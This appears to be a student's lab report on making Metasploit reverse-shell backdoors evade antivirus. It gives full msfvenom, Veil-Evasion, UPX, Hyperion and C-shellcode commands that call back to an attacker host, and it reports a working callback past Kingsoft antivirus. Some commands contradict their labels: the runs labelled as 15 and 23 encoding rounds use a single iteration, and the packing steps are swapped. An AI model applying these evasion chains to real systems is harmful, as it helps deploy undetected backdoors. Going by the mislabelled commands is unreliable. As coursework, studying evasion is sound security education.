20212313 2023-2024-2 《网络与系统攻防技术》实验三实验报告

20212313 2023-2024-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1学习内容

课上介绍了后门概念、后门案例、后门技术
后门类型有编译器后门、操作系统后门、应用程序后门
反弹连接解释:被攻击者错误下载了后门程序,然后自己在自己的电脑启动后门程序,导致被攻击者的主机自己通过ip地址和端口号反向连接攻击者的电脑,相当于自己开启了攻击。
后门攻击的过程:木马程序、植入系统、木马运行、免杀技术、穿透和躲避

1.2问题回答

(1)杀软是如何检测出恶意代码的?

杀软检测恶意代码的主要方法包括特征识别、行为分析和启发式扫描。
①特征识别是通过识别已知的恶意代码特征来检测恶意代码,例如恶意代码的特定字符串、指令序列等。
②行为分析是监控程序的活动并根据其行为来检测恶意代码,例如程序是否在系统关键目录进行写操作、是否尝试修改注册表等可疑行为。
③启发式扫描则是通过模拟程序的执行并检查其行为特征来发现可疑的行为,例如程序的代码结构是否异常、是否有潜在的危险操作等。

(2)免杀是做什么?

免杀是指使用各种技术手段来规避杀软的检测,使恶意代码能够成功绕过安全防护并在目标系统上运行而不被检测或阻止。免杀技术旨在使恶意代码变得更难以被杀软识别和清除,提高攻击者对目标系统的持续入侵能力。

(3)免杀的基本方法有哪些?

多态性:通过对恶意代码进行变形,生成具有不同指令结构的新代码,以逃避杀软的检测。
加密与解密:使用加密算法对恶意代码进行加密,在运行时再解密以执行,使其难以被杀软检测。
代码混淆:修改代码的结构、命名规则、逻辑等,使其变得难以被理解和分析。
运行时注入:将恶意代码注入到合法进程的内存中,在运行时动态组装,绕过杀软检测。
多模块化:将恶意功能分解成多个模块,动态组装,增加免杀效果。
利用漏洞:利用系统或软件的漏洞执行恶意代码,绕过安全防护机制。

1.3实验内容

(1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件、使用veil,使用加壳工具、使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀。如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

2.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2.1.1上次实验生成的后门文件判断其免杀效果:

在这里插入图片描述
在这里插入图片描述
说明免杀效果很差,需要继续实验以降低其免杀效果

2.1.2 多次编码
 //编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.221.164 LPORT=2313 -f exe > 20212313wjb1.exe
//编码15次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.221.164 LPORT=2313 -f exe > 20212313wjb15.exe
 //编码23次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.221.164 LPORT=2313 -f exe > 20212313wjb23.exe

在这里插入图片描述

参数说明:
-p, --payload 指定需要使用的payload(攻击载荷)。
-f, --format 指定输出格式
-e, --encoder 指定需要使用的encoder(编码器)
-b, --bad-chars 设定编码规则
-i, --iterations 指定payload的编码次数

编译一次的免杀效果:
在这里插入图片描述
编译15次的免杀效果:
在这里插入图片描述
编译23次的免杀效果:
在这里插入图片描述
说明提升编译次数并不难改变其免杀效果!

2.1.3 输出为不同的文件格式
#输出jar文件,IP地址是Kali虚拟机IP
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.221.164 LPORT=2313 x> 20212313wjbjar.jar 

在这里插入图片描述

 #输出php文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.221.164 LPORT=2313 x> 20212313wjbphp.php

在这里插入图片描述

 #输出python文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.221.164 LPORT=2313 x> 20212313wjbpy.py 

在这里插入图片描述

 #输出apk文件,运行于android系统
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.221.164 LPORT=2313 x> 20212313wjbapk.apk 

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

2.2 使用Veil-Evasion

2.2.1 应用介绍

Veil-Evasion是Veil框架中的一个重要组件,主要用于生成绕过防病毒软件的恶意代码。它的设计目的是帮助渗透测试人员和安全研究人员评估其网络安全防御的效果,通过生成能够绕过常见防病毒软件和入侵检测系统的恶意软件样本,来模拟真实世界的攻击。
命令介绍:

  • list:列出可用的Payloads和Listeners。
  • use:选择要使用的Payload或Listener。
  • options:显示当前Payload或Listener的配置选项。
  • set:设置Payload或Listener的选项值。
  • generate:生成Payload。
  • back:返回上一级菜单。
  • info:显示有关Payload或Listener的信息。
  • exit:退出Veil-Evasion。
2.2.2 具体使用生成文件
经过千辛万苦终于下载好了veil,具体问题在后续分析

在这里插入图片描述

  1. veil #进入veil use evasion #选择使用evasion模块
  2. use c/meterpreter/rev_tcp.py #选择payload
  3. #也可以先用“list”查看所有可选择的payload,然后直接使用“use+payload序号”来进行选择
  4. set LHOST 192.168.221.167 #设置IP
  5. set LPORT 2313 #设置端口
  6. generate #执行payload

生成20212313veil.exe
在这里插入图片描述
在这里插入图片描述

查看其免杀效果
事实证明该免杀效果比msf编码好一点点,但真的只有一点点
在这里插入图片描述
查看payload
在这里插入图片描述

2.3 加壳

2.3.1 基础知识

加壳是指在软件程序的可执行文件(EXE、DLL等)上附加额外的代码,以增加程序的安全性或者混淆程序的结构,从而使得破解和逆向工程变得更加困难。这种额外的代码被称为壳(或者叫做加密壳、保护壳),它们可以在程序运行时解密并还原原始程序代码,或者在程序加载时对原始代码进行解密。
压缩壳:
压缩壳通过对程序进行压缩来减小程序的体积,从而减少程序文件的大小。它的工作原理是将程序文件中的代码和数据使用压缩算法进行压缩,然后在程序运行时再将其解压缩到内存中执行。压缩壳通常会选择性地压缩可执行代码、资源和数据段,以保持程序的可执行性和功能完整性。
优势:减小程序体积,减少存储空间和网络带宽的占用。加快程序加载速度,因为程序文件较小,加载时间更短。部分压缩壳还可以提供加密功能,增加程序的安全性。
缺点:压缩壳需要在程序运行时解压缩代码和数据,可能会增加程序的运行开销。部分压缩算法可能会影响程序的执行效率。压缩壳通常只提供基本的保护,容易被专业的逆向工程人员绕过。
加密壳:
加密壳通过对程序进行加密来保护程序的安全性。它的工作原理是将程序文件中的可执行代码和数据使用加密算法进行加密,然后在程序运行时动态地解密这些代码和数据到内存中执行。加密壳通常会对整个程序文件进行加密,包括头部信息、代码段、资源和数据段等。
优势:提供更高级别的安全保护,因为加密壳可以对整个程序进行加密。难以被逆向工程和破解,因为加密后的程序文件没有明文可供分析。
缺点:加密壳可能会增加程序加载和执行的开销,因为需要在运行时解密程序代码和数据。加密壳的实现可能会比较复杂,需要处理好加密算法、解密逻辑以及程序运行时的保护措施。

2.3.2 压缩壳
  1. apt-get install upx upx
  2. 20212313wjb1.exe -o 20212313_upx1.exe #对20212313wjb1.exe进行压缩
    在这里插入图片描述
    查看其免杀效果,很一般
    在这里插入图片描述
2.3.3 加密壳

对2021313wjb1.exe进行加密

  1. cp 20212313wjb1.exe /usr/share/windows-resources/hyperion/
  2. cd /usr/share/windows-resources/hyperion
  3. wine hyperion.exe -v 20212313wjb1.exe 20212313_hyp

在这里插入图片描述查看其免杀效果,并没有多大的改变在这里插入图片描述

2.4 C+shellcode编程

2.4.1 利用msf生成shellcode代码

1.msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.221.167 LPORT=2313 -f c
2. vim 20212313_shellcode.c //将生成的shellcode写入文件中
3. i686-w64-mingw32-g++ 20212313shellcode.c -o 20212313_shellcode.exe
在这里插入图片描述
查看其免杀效果,大大提升,什么c+shellcode很好用
在这里插入图片描述

2.5通过组合应用各种技术实现恶意代码免杀

2.5.1 c+shellcode,利用msf生成shellcode代码

msfvenom -p windows/meterpreter/reverse_tcp -b ‘\x00’ -e x86/shikata_ga_nai LHOST=192.168.221.167 LPORT=2313 -f raw | msfvenom -a x86 --platform windows -b ‘\x00’ -e x86/bloxor -f c

并且写入文件20212313wjb.c然后转为20212313wjb.exe文件
在这里插入图片描述

2.5.2 对shellcode文件进行压缩

wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20212313wjb.exe 20212313wjb_hyp.exe

在这里插入图片描述
查看免杀效果,不降反升
在这里插入图片描述

2.5.3 然后进行加密

upx 20212313wjb_hyp.exe -o 20212313wjb_hyp_upx.exe

在这里插入图片描述
免杀效果有降低一点点
在这里插入图片描述

2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

用生成的后门文件进行监听(实验二的内容)
在金山毒霸打开的情况下,成功连接,能够获取windows的各种权限
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
到此实验成功!

3.问题及解决方案

  • 问题1:veil安装历程艰辛

  • 问题1解决方案:最初我是用的2024版本的kali,后来发现大家都换成了2022年版本的,我也跟着下载了,当我以为可以顺利下载veil的时候,在安装python的时候总是死机,我尝试了很多很多遍都不行,然后就将其强制关闭。 然后又出现了大家都有的错误,以下是龚安阳同学的问题,我按着他输入了/usr/shareveilconfigksetup.sh–force --sient命令,仍然出错。
    在这里插入图片描述
    这时候的我非常崩溃。我又查看了孙以诺同学的问题反馈,我按照他说的修改安装源,然后再次尝试,发现还是不行。
    在这里插入图片描述
    最后我查看了很多很多文章,终于我发现我是找不到wine32包,于是我在下载了wine32包后,成功下载好了veil。
    在这里插入图片描述

  • 问题2:shellcode文件编写报大量的错

  • 问题2解决方案:我才发现msf生成的shellcode代码中每一行都有引号并且他每一行都换行了,但是c文件中不能有这么多引号,而且需要把换行符删掉

  • 问题3:磁盘文件不足,占用率高达100%,导致产生不了后续实验的文件了

  • 问题3解决方案:删除各种缓存,腾出空间
    -在这里插入图片描述

4.学习感悟、思考等

这次实验真的花了我好多好多天,veil下载让我头疼至极,当我下载完veil以为后面会很顺利的时候,我出现了磁盘空间不足,20g都用满了,我使用VMware自带的磁盘压缩功能,压缩着压缩着我的机子崩溃了,直接开不了机,好在有快照功能,能够让我返回之前的状态

参考资料

  • 22
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值